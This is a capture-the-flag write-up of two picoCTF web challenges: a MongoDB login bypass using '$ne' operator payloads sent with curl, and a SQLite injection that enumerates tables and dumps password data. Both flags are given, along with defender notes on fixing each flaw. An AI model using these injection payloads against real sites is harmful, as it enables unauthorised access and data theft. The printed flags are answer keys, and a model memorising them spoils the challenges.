Table of Contents
No SQL Injection (picoCTF)
Summary
- Category: Web / NoSQL Injection
- Challenge:
No SQL Injection - Target:
http://atlas.picoctf.net:54182/ - Goal: bypass login and recover flag token.
Source analysis
From server.js, login handler parses user input like this:
email:
email.startsWith("{") && email.endsWith("}")
? JSON.parse(email)
: email,
password:
password.startsWith("{") && password.endsWith("}")
? JSON.parse(password)
: password,
Then it performs:
User.findOne({ email: <parsed>, password: <parsed> })
So if we send JSON object strings, they become Mongo operators instead of plain strings.
Exploit
Use $ne on both fields so query matches any user:
email={"$ne":null}password={"$ne":null}
Request example:
curl -s -X POST 'http://atlas.picoctf.net:54182/login' \
-H 'Content-Type: application/x-www-form-urlencoded' \
--data-urlencode 'email={"$ne":null}' \
--data-urlencode 'password={"$ne":null}'
Response includes a base64 token:
{"success":true,"email":"picoplayer355@picoctf.org","token":"cGljb0NURntqQmhEMnk3WG9OelB2XzFZeFM5RXc1cUwwdUk2cGFzcWxfaW5qZWN0aW9uXzI1YmE0ZGUxfQ==","firstName":"pico","lastName":"player"}
Decode token:
python3 - << 'PY'
import base64
s='cGljb0NURntqQmhEMnk3WG9OelB2XzFZeFM5RXc1cUwwdUk2cGFzcWxfaW5qZWN0aW9uXzI1YmE0ZGUxfQ=='
print(base64.b64decode(s).decode())
PY
Flag
picoCTF{jBhD2y7XoNzPv_1YxS9Ew5qL0uI6pasql_injection_25ba4de1}
Fix (defender notes)
- Never
JSON.parseraw login fields into query objects. - Validate type strictly (
typeof email === 'string', etc). - Use schema validation and reject operator keys like
$ne,$gt,$regex. - Consider libraries that sanitize Mongo selectors.
Startup Company (picoCTF)
Summary
- Category: Web / SQL Injection (SQLite)
- Challenge:
Startup Company - Target:
http://wily-courier.picoctf.net:53030/ - Goal: leak table data and recover flag.
Recon and signal
After registering and logging in, donation submission (contribute.php) takes:
- hidden
captcha moneys
When non-numeric payloads are forced into moneys (e.g. from browser devtools), the app returns a DB warning:
Warning: SQLite3::query(): Unable to prepare statement ... in /var/www/html/contribute.php on line 11
Database error.
This confirms SQL query construction in contribute.php and SQLite backend.
Injection shape
A direct quote confirms string context:
'
Then we pivot to concatenation-based extraction that keeps SQL valid:
0'||(<subquery>)||'
Table and schema discovery
Use donation payloads:
- SQLite version:
0'||sqlite_version()||'
- Tables:
0'||(SELECT group_concat(name) FROM sqlite_master)||'
- Columns in discovered table:
0'||(SELECT group_concat(name,':') FROM pragma_table_info('startup_users'))||'
Result shows table and columns:
- table:
startup_users - columns:
nameuser,wordpass,money
Data exfiltration
Dump target column:
0'||(SELECT group_concat(wordpass,':') FROM startup_users)||'
This returns many entries including the flag string.
Flag
picoCTF{1_c4nn0t_s33_y0u_58183fce}
Defender notes
- Never concatenate user input into SQL queries.
- Use prepared statements with bound parameters.
- Enforce strict server-side numeric validation for
moneys. - Do not expose raw DB warnings in production.